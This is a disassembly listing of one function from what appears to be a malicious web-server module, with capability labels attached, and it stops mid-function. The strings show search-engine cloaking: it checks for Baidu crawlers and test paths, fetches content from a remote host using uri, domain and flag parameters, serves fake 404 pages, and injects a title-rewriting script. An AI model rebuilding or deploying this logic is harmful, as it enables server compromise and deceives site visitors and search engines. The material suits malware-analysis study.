Function at 0x10008650
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100297b4
mov eax, dword fs:[0]
push eax
sub esp, 0xc90
mov eax, dword [0x10037d20]
xor eax, esp
mov dword [esp + 0xc88], eax
push ebx
push esi
push edi
mov eax, dword [0x10037d20]
xor eax, esp
push eax
lea eax, [esp + 0xca0]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov dword [esp + 0x70], edi
test edi, edi
je 0x10008a61
mov eax, dword [edi]
mov edx, dword [eax + 0x10]
mov ecx, edi
call edx
mov ebx, eax
mov dword [esp + 0xe4], ebx
test ebx, ebx
je 0x10008a61
mov eax, dword [ebx]
mov edx, dword [eax + 4]
mov ecx, ebx
call edx
mov dword [esp + 0x24], eax
test eax, eax
je 0x10008a61
lea eax, [esp + 0xec]
push eax
call fcn.10003750
mov dword [esp + 0xca8], 0
mov dword [esp + 0xe8], vtable.myedit.0
lea esi, [esp + 0x84]
call fcn.10009ea0
mov byte [esp + 0xca8], 2
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x1000871f
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
mov byte [esp + 0xca8], 3
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x10008751
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xca8], 4
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x10008783
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xca8], 5
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x100087b5
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xca8], 6
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x100087e7
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xca8], 7
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x10008819
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xca8], 8
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x1000884b
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xca8], 9
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x1000887d
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x20], eax
mov byte [esp + 0xca8], 0xa
call fcn.1000cbe1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x100088af
push 0x80004005
call fcn.10001a20
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
push 0
mov byte [esp + 0xcac], 0xb
call fcn.100182cf
add esp, 4
push eax
call fcn.100182bd
add esp, 4
lea ecx, [esp + 0x84]
push ecx
push edi
call fcn.10006590
add esp, 8
lea edx, [esp + 0x90]
push edx
lea ecx, [esp + 0x1c]
call fcn.100036d0
mov esi, dword [esp + 0x18]
cmp dword [esi - 4], 1
jle 0x10008917
mov eax, dword [esi - 0xc]
push eax
lea ecx, [esp + 0x1c]
call fcn.100018d0
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.10018385
add esp, 8
test eax, eax
jl 0x10009471
cmp eax, dword [esi - 8]
jg 0x10009471
mov dword [esi - 0xc], eax
mov byte [esi + eax], 0
mov eax, dword [esi - 0xc]
test eax, eax
jl 0x10008a89
push str.ceshi.txt
push esi
call fcn.10018961
add esp, 8
test eax, eax
je 0x10008a89
sub eax, esi
cmp eax, 0xffffffff
je 0x10008a89
mov eax, dword [0x1003b994]
lea ecx, [esp + 0x84]
push ecx
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.100013f0
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.10006d60
add esp, 8
test eax, eax
je 0x10008a89
mov edx, dword [ebx]
mov eax, dword [edx + 0x28]
mov ecx, ebx
call eax
mov edx, dword [ebx]
mov eax, dword [edx + 0x2c]
mov ecx, ebx
call eax
lea eax, [esp + 0x84]
mov ecx, edi
call fcn.100080c0
push str.OKxxxxxx
lea ecx, [esp + 0x1c]
call fcn.100017d0
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
call fcn.10001460
mov ecx, edi
call fcn.10007ea0
add esp, 4
lea ecx, [esp + 0x40]
call fcn.10001a90
lea ecx, [esp + 0x20]
call fcn.10001a90
lea ecx, [esp + 0x38]
call fcn.10001a90
lea ecx, [esp + 0x30]
call fcn.10001a90
lea ecx, [esp + 0x28]
call fcn.10001a90
lea ecx, [esp + 0x44]
call fcn.10001a90
lea ecx, [esp + 0x58]
call fcn.10001a90
lea ecx, [esp + 0x4c]
call fcn.10001a90
lea ecx, [esp + 0x18]
call fcn.10001a90
lea eax, [esp + 0x84]
call fcn.1000a1e0
mov dword [esp + 0xca8], 0xffffffff
lea ecx, [esp + 0xec]
call fcn.100039d0
xor eax, eax
mov ecx, dword [esp + 0xca0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc88]
xor ecx, esp
call fcn.1001786c
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0x1c]
call fcn.100036d0
mov esi, dword [esp + 0x18]
cmp dword [esi - 4], 1
jle 0x10008ab5
mov ecx, dword [esi - 0xc]
push ecx
lea ecx, [esp + 0x1c]
call fcn.100018d0
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.10018385
add esp, 8
test eax, eax
jl 0x10009471
cmp eax, dword [esi - 8]
jg 0x10009471
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
mov eax, dword [esi - 0xc]
test eax, eax
jl 0x10008b65
push str.robots.txt
push esi
call fcn.10018961
add esp, 8
test eax, eax
je 0x10008b65
sub eax, esi
cmp eax, 0xffffffff
je 0x10008b65
lea edx, [esp + 0x84]
push edx
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x1003b994
call fcn.10001460
call fcn.10006d60
add esp, 8
test eax, eax
je 0x10008b65
mov eax, dword [ebx]
mov edx, dword [eax + 0x28]
mov ecx, ebx
call edx
mov eax, dword [ebx]
mov edx, dword [eax + 0x2c]
mov ecx, ebx
call edx
lea eax, [esp + 0x84]
mov ecx, edi
call fcn.100080c0
push str.User_agent:__r_nAllow:___r_n
lea ecx, [esp + 0x1c]
call fcn.100017d0
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x74], esp
push eax
jmp 0x100089de
mov eax, dword [0x1003b97c]
push 3
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.100013f0
add esp, 4
lea ecx, [esp + 0x24]
add eax, 0x10
push ecx
mov dword [esi], eax
call fcn.100029b0
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0xcac], 0xc
call fcn.100036d0
mov byte [esp + 0xca8], 0xb
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
or edi, 0xffffffff
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10008bca
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [0x1003b988]
push 3
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.100013f0
add esp, 4
lea ecx, [esp + 0x24]
add eax, 0x10
push ecx
mov dword [esi], eax
call fcn.100029b0
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0xcac], 0xd
call fcn.100036d0
mov byte [esp + 0xca8], 0xb
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10008c2c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [0x1003b9c0]
push 3
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.100013f0
add esp, 4
lea ecx, [esp + 0x24]
add eax, 0x10
push ecx
mov dword [esi], eax
call fcn.100029b0
push eax
lea ecx, [esp + 0x3c]
mov byte [esp + 0xcac], 0xe
call fcn.100036d0
mov byte [esp + 0xca8], 0xb
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10008c8e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [0x1003b9b0]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.100013f0
lea ecx, [esp + 0x24]
add esp, 4
add eax, 0x10
push ecx
mov dword [esi], eax
call fcn.100082f0
add esp, 8
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0xcac], 0xf
call fcn.100036d0
mov byte [esp + 0xca8], 0xb
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, edi
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10008cf1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax - 0xc]
test ecx, ecx
jl 0x10008d89
push str.lwxatisme
push eax
call fcn.10018961
add esp, 8
test eax, eax
je 0x10008d89
sub eax, dword [esp + 0x8c]
cmp eax, edi
je 0x10008d89
lea ecx, [esp + 0x40]
call fcn.10001a90
lea ecx, [esp + 0x20]
call fcn.10001a90
lea ecx, [esp + 0x38]
call fcn.10001a90
lea ecx, [esp + 0x30]
call fcn.10001a90
lea ecx, [esp + 0x28]
call fcn.10001a90
lea ecx, [esp + 0x44]
call fcn.10001a90
lea ecx, [esp + 0x58]
call fcn.10001a90
lea ecx, [esp + 0x4c]
call fcn.10001a90
lea ecx, [esp + 0x18]
call fcn.10001a90
lea eax, [esp + 0x84]
call fcn.1000a1e0
mov dword [esp + 0xca8], edi
jmp 0x10008a55
mov ecx, dword [esp + 0x84]
mov eax, dword [ecx - 0xc]
test eax, eax
jl 0x10008db6
push 0x1002f8ec
push ecx
call fcn.10018961
mov ecx, dword [esp + 0x8c]
add esp, 8
test eax, eax
je 0x10008db6
sub eax, ecx
cmp eax, edi
jne 0x10008de7
cmp dword [ecx - 0xc], 0
jl 0x10008d20
push 0x1002f9fc
push ecx
call fcn.10018961
add esp, 8
test eax, eax
je 0x10008d20
mov ecx, dword [esp + 0x84]
sub eax, ecx
cmp eax, edi
je 0x10008d20
cmp dword [ecx - 0xc], 0
jl 0x10008e40
push 0x1002f8ec
push ecx
call fcn.10018961
add esp, 8
test eax, eax
je 0x10008e40
sub eax, dword [esp + 0x84]
cmp eax, edi
je 0x10008e40
mov eax, dword [esp + 0x9c]
cmp dword [eax - 0xc], 0
jl 0x10008d20
push str.text_html
push eax
call fcn.10018961
add esp, 8
test eax, eax
je 0x10008d20
sub eax, dword [esp + 0x9c]
cmp eax, edi
je 0x10008d20
mov ecx, dword [esp + 0x24]
movzx eax, word [ecx + 0x110]
mov dword [esp + 0x5c], eax
test eax, eax
jle 0x10008fad
xor ebx, ebx
test eax, eax
jle 0x10008fad
xor edi, edi
mov edx, dword [esp + 0x24]
mov esi, dword [edx + 0x114]
add esi, edi
cmp dword [esi], 0
jne 0x10008f08
mov eax, dword [esp + 0x88]
cmp dword [eax - 0xc], 0
jl 0x10008ea3
push str.gzip
push eax
call fcn.10018961
add esp, 8
test eax, eax
je 0x10008ea3
sub eax, dword [esp + 0x88]
cmp eax, 0xffffffff
jne 0x10008f08
mov eax, dword [esi + 8]
push eax
lea ecx, [esp + 0x1c]
call fcn.100017d0
mov ecx, dword [esi + 0xc]
push ecx
push 0
lea edx, [esp + 0x24]
push edx
lea ecx, [esp + 0x24]
call fcn.10002f80
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xcac], 0x10
call fcn.100036d0
lea ecx, [esp + 0x1c]
mov byte [esp + 0xca8], 0xb
call fcn.10001a90
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.10002ae0
inc ebx
add edi, 0x20
cmp ebx, dword [esp + 0x5c]
jl 0x10008e63
jmp 0x10008fad
push str.User_Agent
lea ecx, [esp + 0x718]
call fcn.100017d0
push str.lwxatisme
lea ecx, [esp + 0x71c]
call fcn.100017d0
lea ecx, [esp + 0xa0]
push ecx
lea edx, [esp + 0x20]
push str.http:__
push edx
mov dword [esp + 0x824], 1
call fcn.100031d0
add esp, 8
mov ecx, esp
mov byte [esp + 0xcac], 0x11
mov dword [esp + 0x18], esp
lea edx, [esp + 0x94]
push edx
push eax
push ecx
call fcn.10003030
add esp, 0xc
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0xf4]
push ecx
call fcn.10003b00
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0xcac], 0x12
call fcn.100036d0
lea ecx, [esp + 0x24]
call fcn.10001a90
lea ecx, [esp + 0x1c]
mov byte [esp + 0xca8], 0xb
call fcn.10001a90
push str.User_Agent
lea ecx, [esp + 0x718]
call fcn.100017d0
lea edx, [esp + 0x8c]
push edx
lea ecx, [esp + 0x71c]
call fcn.100036d0
push str.Referer
lea ecx, [esp + 0x720]
call fcn.100017d0
lea eax, [esp + 0xa0]
push eax
lea ecx, [esp + 0x20]
push str.http:__
push ecx
call fcn.100031d0
add esp, 0xc
lea edx, [esp + 0x90]
push edx
push eax
lea eax, [esp + 0x2c]
push eax
mov byte [esp + 0xcb4], 0x13
call fcn.10003030
add esp, 0xc
push eax
lea ecx, [esp + 0x724]
mov byte [esp + 0xcac], 0x14
call fcn.100036d0
lea ecx, [esp + 0x24]
call fcn.10001a90
lea ecx, [esp + 0x1c]
mov byte [esp + 0xca8], 0xb
call fcn.10001a90
push str.X_Forwarded_For
lea ecx, [esp + 0x728]
call fcn.100017d0
lea ecx, [esp + 0xa4]
push ecx
lea ecx, [esp + 0x72c]
call fcn.100036d0
push str.X_Forwarded_For
lea ecx, [esp + 0x730]
mov dword [esp + 0x81c], 3
call fcn.100017d0
push 0x1002fb0c
lea edx, [esp + 0xa8]
push edx
lea eax, [esp + 0x2c]
push eax
call fcn.100030f0
add esp, 0xc
push eax
lea ecx, [esp + 0x734]
mov byte [esp + 0xcac], 0x15
call fcn.100036d0
lea ecx, [esp + 0x24]
call fcn.10001a90
lea ecx, [esp + 0x64]
call fcn.10001a40
lea ecx, [esp + 0x24]
call fcn.10001a40
lea ecx, [esp + 0x34]
call fcn.10001a40
lea ecx, [esp + 0x68]
call fcn.10001a40
lea ecx, [esp + 0x60]
call fcn.10001a40
lea ecx, [esp + 0x50]
call fcn.10001a40
lea ecx, [esp + 0x1c]
call fcn.10001a40
lea ecx, [esp + 0x5c]
call fcn.10001a40
lea ecx, [esp + 0x74]
call fcn.10001a40
push fcn.10001a90
push fcn.10001a40
push 2
push 4
lea ecx, [esp + 0x8c]
push ecx
mov byte [esp + 0xcbc], 0x1e
call fcn.10018320
push 0x1002e988
mov bl, 0x1f
push 0x1003b980
mov byte [esp + 0xcb0], bl
xor esi, esi
call fcn.100013c0
add esp, 8
test al, al
je 0x1000976e
push 0x1002e988
push 0x1003b98c
call fcn.100013c0
add esp, 8
push 0x1002e988
test al, al
je 0x10009540
lea edx, [esp + 0xb0]
push edx
call fcn.100013c0
add esp, 8
test al, al
jne 0x100091df
push 0x1002e988
push 0x1003b990
call fcn.100013c0
add esp, 8
test al, al
je 0x1000976e
mov eax, dword [esp + 0x84]
cmp dword [eax - 0xc], esi
jl 0x1000976e
push 0x1002f9fc
push eax
call fcn.10018961
add esp, 8
test eax, eax
je 0x1000976e
sub eax, dword [esp + 0x84]
cmp eax, 0xffffffff
je 0x1000976e
lea eax, [esp + 0x84]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x1003b994
call fcn.10001460
call fcn.10006d60
add esp, 8
test eax, eax
je 0x1000947b
lea ecx, [esp + 0x8c]
push ecx
lea ecx, [esp + 0x1c]
call fcn.100036d0
lea ecx, [esp + 0x18]
call fcn.100032e0
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov esi, dword [esp + 0x18]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.10018385
add esp, 8
test eax, eax
jl 0x10009471
cmp eax, dword [esi - 8]
jg 0x10009471
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
cmp dword [esi - 0xc], 0
jl 0x100092f6
push str.baidubox
push esi
call fcn.10018961
add esp, 8
test eax, eax
je 0x100092f6
sub eax, esi
cmp eax, 0xffffffff
je 0x100092f6
push ecx
lea edx, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
mov esi, 5
call fcn.10001460
lea eax, [esp + 0x70]
push eax
call fcn.10002520
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0xcac], 0x20
call fcn.100036d0
lea ecx, [esp + 0x6c]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push str.__DOCTYPE_HTML_PUBLIC_____IETF__DTD_HTML_2.0__EN___r_n_html__head__r_n_title_404_Not_Found__title__r_n__head__body__r_n_h1_Not_Found__h1__r_n_p_The_requested_URL__was_not_found_on_this_server.__p__r_n__body___html__r_n
lea ecx, [esp + 0x24]
call fcn.100017d0
mov ecx, dword [esp + 0x90]
push ecx
push 0x1002e9a8
lea edx, [esp + 0x28]
push edx
call fcn.10002b40
push 0x1002e988
lea ecx, [esp + 0x90]
call fcn.100017d0
jmp 0x1000976e
push str._index.php_uri
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov esi, 4
call fcn.100030f0
add esp, 0xc
lea edx, [esp + 0x90]
push edx
push eax
lea eax, [esp + 0x34]
push eax
mov byte [esp + 0xcb4], 0x21
call fcn.10003030
add esp, 0xc
push str.domain
push eax
lea ecx, [esp + 0x44]
push ecx
mov byte [esp + 0xcb4], 0x22
call fcn.100030f0
add esp, 0xc
lea edx, [esp + 0xa0]
push edx
push eax
lea eax, [esp + 0x50]
push eax
mov byte [esp + 0xcb4], 0x23
call fcn.10003030
add esp, 0xc
push str.flag
push eax
lea ecx, [esp + 0x5c]
push ecx
mov byte [esp + 0xcb4], 0x24
call fcn.100030f0
add esp, 0xc
push 0x1003b984
push eax
lea edx, [esp + 0x80]
push edx
mov byte [esp + 0xcb4], 0x25
call fcn.10003030
add esp, 0xc
push str.limit_name1000
push eax
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0xcb4], 0x26
call fcn.100030f0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xcac], 0x27
call fcn.100036d0
lea ecx, [esp + 0x6c]
call fcn.10001a90
lea ecx, [esp + 0x78]
call fcn.10001a90
lea ecx, [esp + 0x54]
call fcn.10001a90
lea ecx, [esp + 0x48]
call fcn.10001a90
lea ecx, [esp + 0x3c]
call fcn.10001a90
lea ecx, [esp + 0x2c]
call fcn.10001a90
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push str._index.php
push str.__index.php
lea ecx, [esp + 0x20]
push ecx
call fcn.10002b40
push str.index.php_
push str.index.php__
lea edx, [esp + 0x20]
push edx
call fcn.10002b40
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call fcn.10001460
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0xf4]
push edx
call fcn.10003b00
mov byte [esp + 0xca8], 0x28
lea ecx, [esp + 0x60]
jmp 0x10009758
push 0x80070057
call fcn.10001a20
push 0x1002e988
push 0x1003b998
call fcn.100032b0
add esp, 8
test al, al
jne 0x100094d4
push 0x1002e988
push 0x1003b998
call fcn.100013c0
add esp, 8
test al, al
je 0x1000976e
lea eax, [esp + 0x84]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x1003b978
call fcn.10001460
call fcn.10005dd0
add esp, 8
test eax, eax
je 0x1000976e
push ecx
lea edx, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
mov esi, 5
call fcn.10001460
lea eax, [esp + 0x18]
push eax
call fcn.10002520
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0xcac], 0x29
call fcn.100036d0
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push str.__DOCTYPE_HTML_PUBLIC_____IETF__DTD_HTML_2.0__EN___r_n_html__head__r_n_title_404_Not_Found__title__r_n__head__body__r_n_h1_Not_Found__h1__r_n_p_The_requested_URL__was_not_found_on_this_server.__p__r_n__body___html__r_n
lea ecx, [esp + 0x24]
call fcn.100017d0
mov ecx, dword [esp + 0x90]
push ecx
push 0x1002e9a8
lea edx, [esp + 0x28]
push edx
call fcn.10002b40
jmp 0x1000976e
lea eax, [esp + 0xb0]
push eax
call fcn.100013c0
add esp, 8
test al, al
jne 0x100095a5
push 0x1002e988
push 0x1003b990
call fcn.100013c0
add esp, 8
test al, al
je 0x1000976e
mov eax, dword [esp + 0x84]
cmp dword [eax - 0xc], 0
jl 0x1000976e
push 0x1002f9fc
push eax
call fcn.10018961
add esp, 8
test eax, eax
je 0x1000976e
sub eax, dword [esp + 0x84]
cmp eax, 0xffffffff
je 0x1000976e
push str._index.php_uri
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x74]
push edx
mov esi, 6
call fcn.100030f0
add esp, 0xc
lea ecx, [esp + 0x90]
push ecx
push eax
lea edx, [esp + 0x80]
push edx
mov byte [esp + 0xcb4], 0x2a
call fcn.10003030
add esp, 0xc
push str.domain
push eax
lea eax, [esp + 0x5c]
push eax
mov byte [esp + 0xcb4], 0x2b
call fcn.100030f0
add esp, 0xc
lea ecx, [esp + 0xa0]
push ecx
push eax
lea edx, [esp + 0x50]
push edx
mov byte [esp + 0xcb4], 0x2c
call fcn.10003030
add esp, 0xc
push str.flag
push eax
lea eax, [esp + 0x44]
push eax
mov byte [esp + 0xcb4], 0x2d
call fcn.100030f0
add esp, 0xc
push 0x1003b984
push eax
lea ecx, [esp + 0x34]
push ecx
mov byte [esp + 0xcb4], 0x2e
call fcn.10003030
add esp, 0xc
push str.limit_name1000
push eax
lea edx, [esp + 0x1c]
push edx
mov byte [esp + 0xcb4], 0x2f
call fcn.100030f0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xcac], 0x30
call fcn.100036d0
lea ecx, [esp + 0x14]
call fcn.10001a90
lea ecx, [esp + 0x2c]
call fcn.10001a90
lea ecx, [esp + 0x3c]
call fcn.10001a90
lea ecx, [esp + 0x48]
call fcn.10001a90
lea ecx, [esp + 0x54]
call fcn.10001a90
lea ecx, [esp + 0x78]
call fcn.10001a90
lea ecx, [esp + 0x6c]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push str._index.php
push str.__index.php
lea eax, [esp + 0x20]
push eax
call fcn.10002b40
push str.index.php_
push str.index.php__
lea ecx, [esp + 0x20]
push ecx
call fcn.10002b40
push ecx
lea edx, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
call fcn.10001460
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xf4]
push ecx
call fcn.10003b00
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0xcac], 0x31
call fcn.100036d0
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push ecx
lea edx, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
call fcn.10001460
lea eax, [esp + 0x18]
push eax
call fcn.10002520
mov byte [esp + 0xca8], 0x32
lea ecx, [esp + 0x34]
push eax
call fcn.100036d0
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
lea ecx, [esp + 0x84]
call fcn.10005a90
test eax, eax
je 0x100099a5
push 0x1002e988
push 0x1003b99c
call fcn.100013c0
add esp, 8
test al, al
je 0x100099a5
test esi, esi
jne 0x100099a5
push 0x1002e988
push 0x1003b9a0
call fcn.100013c0
add esp, 8
test al, al
je 0x10009893
lea ecx, [esp + 0x84]
push ecx
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x1003b9b0
call fcn.10001460
call fcn.10006d60
add esp, 8
test eax, eax
je 0x1000980d
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x88]
mov esi, 1
call fcn.10004bd0
add esp, 4
mov byte [esp + 0xca8], 0x33
lea ecx, [esp + 0x64]
jmp 0x1000998f
push 0x1002e988
push 0x1003b998
call fcn.100032b0
add esp, 8
test al, al
jne 0x10009866
push 0x1002e988
push 0x1003b998
call fcn.100013c0
add esp, 8
test al, al
je 0x100099a5
lea eax, [esp + 0x84]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x1003b978
call fcn.10001460
call fcn.10005dd0
add esp, 8
test eax, eax
je 0x100099a5
push ecx
lea edx, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
mov esi, 2
call fcn.10001460
lea eax, [esp + 0x18]
push eax
call fcn.10002520
mov byte [esp + 0xca8], 0x34
jmp 0x1000998b
push ecx
lea edx, [esp + 0x24]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
mov esi, 3
call fcn.10001460
lea eax, [esp + 0x18]
push eax
call fcn.10002350
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xcac], 0x35
call fcn.100036d0
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0x88]
call fcn.10004bd0
add esp, 4
push eax
lea ecx, [esp + 0x68]
mov byte [esp + 0xcac], 0x36
call fcn.100036d0
lea ecx, [esp + 0x2c]
mov byte [esp + 0xca8], bl
call fcn.10001a90
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x40]
push str._r_n_script_if_navigator.userAgent.toLocaleLowerCase__.indexOf__baidu_____1_document.title__
push eax
call fcn.100031d0
add esp, 0xc
push str.___script_
push eax
lea ecx, [esp + 0x1c]
push ecx
mov byte [esp + 0xcb4], 0x37
call fcn.100030f0
add esp, 0xc
push eax
lea ecx, [esp + 0x68]
mov byte [esp + 0xcac], 0x38
call fcn.10002ae0
lea ecx, [esp + 0x14]
call fcn.10001a90
lea ecx, [esp + 0x3c]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push ecx
lea edx, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
call fcn.10001460
lea eax, [esp + 0x18]
push eax
call fcn.10002520
mov byte [esp + 0xca8], 0x39
lea ecx, [esp + 0x34]
push eax
call fcn.100036d0
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push 0x1002e988
push 0x1003b9b8
xor edi, edi
call fcn.100013c0
add esp, 8
test al, al
je 0x10009a00
push 0x1002e988
push 0x1003b9bc
call fcn.100013c0
add esp, 8
test al, al
je 0x100099f8
lea ecx, [esp + 0x84]
push ecx
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x1003b9c4
call fcn.10001460
call fcn.10006d60
add esp, 8
test eax, eax
je 0x10009a00
mov edi, 1
lea esi, [edi + 6]
push 0x1002e988
push 0x1003b9c8
call fcn.100013c0
add esp, 8
test al, al
je 0x10009d0c
lea ecx, [esp + 0x84]
call fcn.10005880
test eax, eax
je 0x10009d0c
push 0x1002e988
push 0x1003b9cc
call fcn.100013c0
add esp, 8
test al, al
je 0x10009a6d
lea edx, [esp + 0x84]
push edx
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x1003b9d0
call fcn.10001460
call fcn.10006d60
add esp, 8
test eax, eax
je 0x10009d0c
push str._index.php_
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x5c]
push ecx
call fcn.100030f0
add esp, 0xc
lea edx, [esp + 0xa0]
push edx
push eax
lea eax, [esp + 0x50]
push eax
mov byte [esp + 0xcb4], 0x3a
call fcn.10003030
add esp, 0xc
lea ecx, [esp + 0x90]
push ecx
push eax
lea edx, [esp + 0x44]
push edx
mov byte [esp + 0xcb4], 0x3b
